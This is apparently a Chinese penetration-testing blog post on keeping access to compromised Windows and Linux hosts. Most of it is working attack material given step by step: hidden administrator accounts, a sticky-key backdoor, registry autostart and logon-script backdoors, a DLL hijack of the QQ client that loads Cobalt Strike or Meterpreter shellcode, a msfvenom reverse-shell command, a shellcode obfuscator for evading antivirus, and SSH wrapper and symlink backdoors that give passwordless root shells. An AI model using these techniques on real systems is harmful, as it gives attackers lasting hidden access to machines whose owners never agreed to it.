权限维持

做了权限维持就如同特洛伊木马一样,可以直接进入内部进行攻击

当我们获得了administrator管理员权限后,需要创建一个后门来维持住我们所获得的权限,否则一旦目标密码更改或者漏洞被修补,那么就会导致我们对服务器权限的丢失

Windows权限维持

内网渗透测试:域内权限维持思路总结
域渗透 - 权限维持之 SID History

影子账户

通常在拿到服务器后会创建一个带$符号的账户,因为在常规cmd下是无法查看到的

1
2
net user hacker$ 123456 /add
net localgroup administrators hacker$ /add


但是在控制面板的账户管理界面能直接看到

接下来就是创建影子用户了
打开注册表,找到HKEY_LOCAL_MACHINE\SAM\SAM,单机右建,选择”权限”,把Administrator用户的权限,设置成”完全控制”权限,然后关闭注册表编辑器,再次打开即可

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names,看到我们的hacker$
点击hacker$能在右侧看到类型为0x3ec,所以我们在User中找到3EC结尾的账户,这就是hacker$的账户
而administrator的是0x1f4,所以Administrator对应的账户就是1F4结尾的

将1F4下F项的值复制到3EC下F项里面,替换原有数据,然后从注册表中右键导出hacker$以及3EC,接下来删除用户

1
net user hacker$ /del

最后,将刚才导出的两个后缀为.reg的注册表项导入注册表中

去控制面板查看,发现已经看不到账户了,但用户还是存在的

Shift 粘滞键后门

如果你在电脑上连按五次shift键,你就会发现电脑屏幕上弹出了一个叫做粘滞键的程序

即使在没有登录进系统之前,连按五次shift键也可以弹出这个程序,那么替换C:\windows\system32\sethc.exe为想要启动的后门程序即可,这里替换为我们用最常见的cmd.exe

1
2
Move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak
Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe

但是发现在一些做了防护的主机上,即使是system权限也无法修改sethc.exe,只有TrustedInstaller权限才可以

首先进入shell启动TrustedInstaller服务
sc.exe start TrustedInstaller

然后获取进程,加载Invoke-TokenManipulation

1
2
Import-Module Invoke-TokenManipulation.ps1
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 4760


最后再执行更改sethc.exe的命令,成功植入粘滞键后门

3389连接测试一下,成功获取cmd.exe

参考:
渗透技巧——Token窃取与利用

自启动后门

windows提供了专门的开机自启动注册表。在每次开机完成后,计算机会自动遍历自启动注册表下的键值,获取键值中的程序路径,并创建进程启动程序

//开机时启动程序
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

添加键test,值为后门程序路径,直接执行命令

1
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\bmth\Desktop\backdoor.exe"


使用msfvenom生成木马,监听,重启后成功返回shell

还有一个Windows登录脚本Logon Scripts,它能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截,当用户登录时触发

1
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\bmth\Desktop\backdoor.exe"

重启后登录成功得到shell

DLL劫持

动态链接库(英语:Dynamic-link library,缩写为DLL)是微软公司在微软视窗操作系统中实现共享函数库概念的一种实现方式。这些库函数的扩展名是.DLL、.OCX(包含ActiveX控制的库)或者.DRV(旧式的系统驱动程序)。所谓动态链接,就是把一些经常会共用的代码(静态链接的OBJ程序库)制作成DLL档,当可执行文件调用到DLL档内的函数时,Windows操作系统才会把DLL档加载存储器内,DLL档本身的结构就是可执行档,当程序有需求时函数才进行链接。透过动态链接方式,存储器浪费的情形将可大幅降低。静态链接库则是直接链接到可执行文件。DLL的文件格式与视窗EXE文件一样——也就是说,等同于32位视窗的可移植执行文件(PE)和16位视窗的New Executable(NE)。作为EXE格式,DLL可以包括源代码、数据和资源的多种组合。
————维基百科

为了便于理解,需要了解一下目前Windows默认的dll调用顺序:

Known DLLs 是指在windows7以上版本微软为了防御DLL劫持设置的一个规则,他们将一些容易被劫持的DLL写进了注册表里,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,路径为 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
我这里是win10的环境,如下:

由此可以引出几种dll劫持的形式:

  1. 直接将恶意dll暴力替换掉正常dll,软件正常功能会受影响
  2. 将恶意dll作为中间人,转发调用正常dll的导出函数,同时加入额外的恶意操作
  3. 利用加载顺序的机制,让恶意dll先于正常dll加载
  4. 利用软件本身缺失的dll加载恶意dll

那么我们就需要想办法寻找可劫持的dll,这里推荐一个工具(进程监视器):ProcessMonitor
也可以使用火绒剑分析,首先我们需要寻找Known DLLs中不存在的DLL,并且调用了loadlibrary相关的API

这里找有这个api的原因是:
因为如果该dll的调用栈中存在有 LoadLibrary(Ex),说明这个DLL是被进程所动态加载的。在这种利用场景下,伪造的DLL文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在DLL被成功加载之后的事情

劫持应用中存在的dll

这里就劫持一下qq,版本为 9.6.8.28823 最新版
使用工具ProcessMonitor,设置filter如下,只需要监控文件系统,然后包含要劫持的进程

我们找到了一个libuv.dll

并且发现是动态加载的,说明有戏,接下来使用工具AheadLib
管理员权限打开,输入libuv.dll的路径,输出的CPP会自动生成,选择直接转发函数

得到cpp文件,复制到VisualStudio的项目中,先添加头文件

1
2
3
4
// 头文件
#include "pch.h"
#include <Windows.h>
#include <stdlib.h>

然后在入口函数处添加恶意代码,生成新的dll文件,选择为x86输出

将原dll文件改名为之前在软件里面的名字libuvOrg.dll,并把我们生成的dll文件复制进去,命名为libuv.dll

运行qq,最终成功反弹计算器

最后考虑上线cs,先用cs生成我们的payload,这里我选择x86的payload

得到payload后插入到我们的dll代码当中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
// shellcode
unsigned char shellcode[] = "";

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode, sizeof(shellcode));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}

return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

最后生成出来,运行qq,成功上线cs

360是不会查杀dll的,但是过不了火绒,这时候就需要免杀了

dll免杀过火绒

免杀方法:python变形shellcode+汇编代码
之前20年搞的免杀现在还可以用。。。项目:https://github.com/H4xl0r/shellcodeseperator
首先msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=6666 -f c -o payload.c
生成我们的payload,然后放入python代码中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from capstone import *
from keystone import *

def assemble(code):
try:
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(code)
return [hex(i) for i in encoding]
except KsError as e:
print(e)
return -1
def byteoffset2index(offset):
temp=offset
a=0
for i in md.disasm(CODE, 0x0):
temp-=len(i.bytes)
a+=1
if temp==0:
return a
if __name__ == "__main__":
md = Cs(CS_ARCH_X86, CS_MODE_32)
controlflow=["jmp","jz","jnz","je","jne","call","jl","ja","loop","jecxz","jle","jge","jg","jp","jnl"]
registers=["eax","ebx","edx","ebp","esp","edi","esi"]
# shellcode
CODE = b"";
asm=";".join([i.mnemonic+" "+i.op_str for i in md.disasm(CODE, 0x0)])
asmarray=asm.split(";")
length=len(asmarray)
tags=[]
for i in range(0,len(asmarray)):
for mnemonic in controlflow:
if (mnemonic in asmarray[i]):
tags.append(i)
mask=[]
for i in range(0,len(tags)):
for reg in registers:
if (reg in asmarray[tags[i]]):
mask.append(tags[i])
[tags.remove(i) for i in mask]
tagins=[asmarray[i] for i in tags]
revision=[]
for i in range(0,len(tagins)):
b=tagins[i][tagins[i].index("0x"):]
n=byteoffset2index(int(b,16))
revision.append(n)
revision_unique=list(set(revision))
for i in range(0,len(revision_unique)):
asmarray[revision_unique[i]]="a"+str(revision_unique[i])+": "+asmarray[revision_unique[i]]
tagins=[asmarray[i] for i in tags]
for i in range(0,len(tags)):
asmarray[tags[i]]=tagins[i][:tagins[i].index("0x")]+"a"+str(revision[i])
obfuscation="nop"
code=obfuscation+";"+(";"+obfuscation+";").join(asmarray)
print("unsigned char buf[]="+str(assemble(code)).replace("\'","").replace("[","{").replace("]","}")+";")
#print("unsigned char buf[]="+str(assemble(code)[::-1]).replace("\'","").replace("[","{").replace("]","}")+";")

最终生成dll的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

#define fucku __asm{mov eax,eax}
HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
typedef int(*pfunc)(void);
// payload
unsigned char buf[] = {};
fucku;
BYTE* sc = (BYTE*)VirtualAlloc(NULL, sizeof(buf) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
fucku;
fucku;
//memcpy(sc,buf,sizeof(buf));
for (int i = 0; i < sizeof(buf); i++) {
fucku;
sc[i] = buf[i];
}
pfunc shellcode = (pfunc)sc;
__asm {
push shellcode
ret
}
LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode, sizeof(shellcode));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}

return TRUE;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

msf监听

然后打开qq,成功上线

参考:
DLL劫持快速挖掘入门教程
Dll劫持注入从原理到白加黑漏洞利用
看我如何用微信上线CobaltStrike
DLL劫持学习及复现
利用dll劫持实现免杀与维权

Linux权限维持

[总结]Linux权限维持
linux权限维持
Linux下常见的权限维持方式

SSH wrapper

实现原理:init 首先启动的是 /usr/sbin/sshd ,脚本执行到 getpeername 这里的时候,正则匹配会失败,于是执行下一句,启动 /usr/bin/sshd ,这是原始 sshd 。原始的 sshd 监听端口建立了 tcp 连接后,会 fork 一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的 /usr/sbin/sshd ,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字, getpeername 能真的获取到客户端的 TCP 源端口,如果是 13377 就执行sh给个shell

判断连接来源端口,将恶意端口来源访问传输内容重定向到/bin/sh中:(4A是13377的小端模式)

1
2
3
4
5
6
7
8
9
cd /usr/sbin/
mv sshd ../bin/

echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd

/etc/init.d/sshd restart

然后再执行:socat STDIO TCP4:target_ip:22,sourceport=13377

可以看到无需密码成功连接到root权限
想要修改连接端口的话可以利用py修改:

1
2
3
import struct
buffer = struct.pack('>I6',19526)
print repr(buffer)

优点:
1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆
2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录

SSH 软连接

利用前提:ssh配置中开启了PAM进行身份验证
查看是否使用PAM进行身份验证:cat /etc/ssh/sshd_config|grep UsePAM

默认是为yes的,那么可以执行一句话后门:ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
注意:软链接的路径不是绝对的,但名字不是随便命名的,使用命令find /etc/pam.d|xargs grep "pam_rootok",出现的则可以用作软链接名称

最后通过ssh root@192.168.111.128 -p 8888,随便输入密码成功连接

原理:
am_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码
我们查看/etc/pam.d/su文件中,我们可以看到使用了该模块,这也是为什么root用户切换至普通用户不需要密码的原因

若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门
当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么就实现了无密登录

优点:能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成8081,8080等端口
排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门

参考:SSH软链接后门利用和原理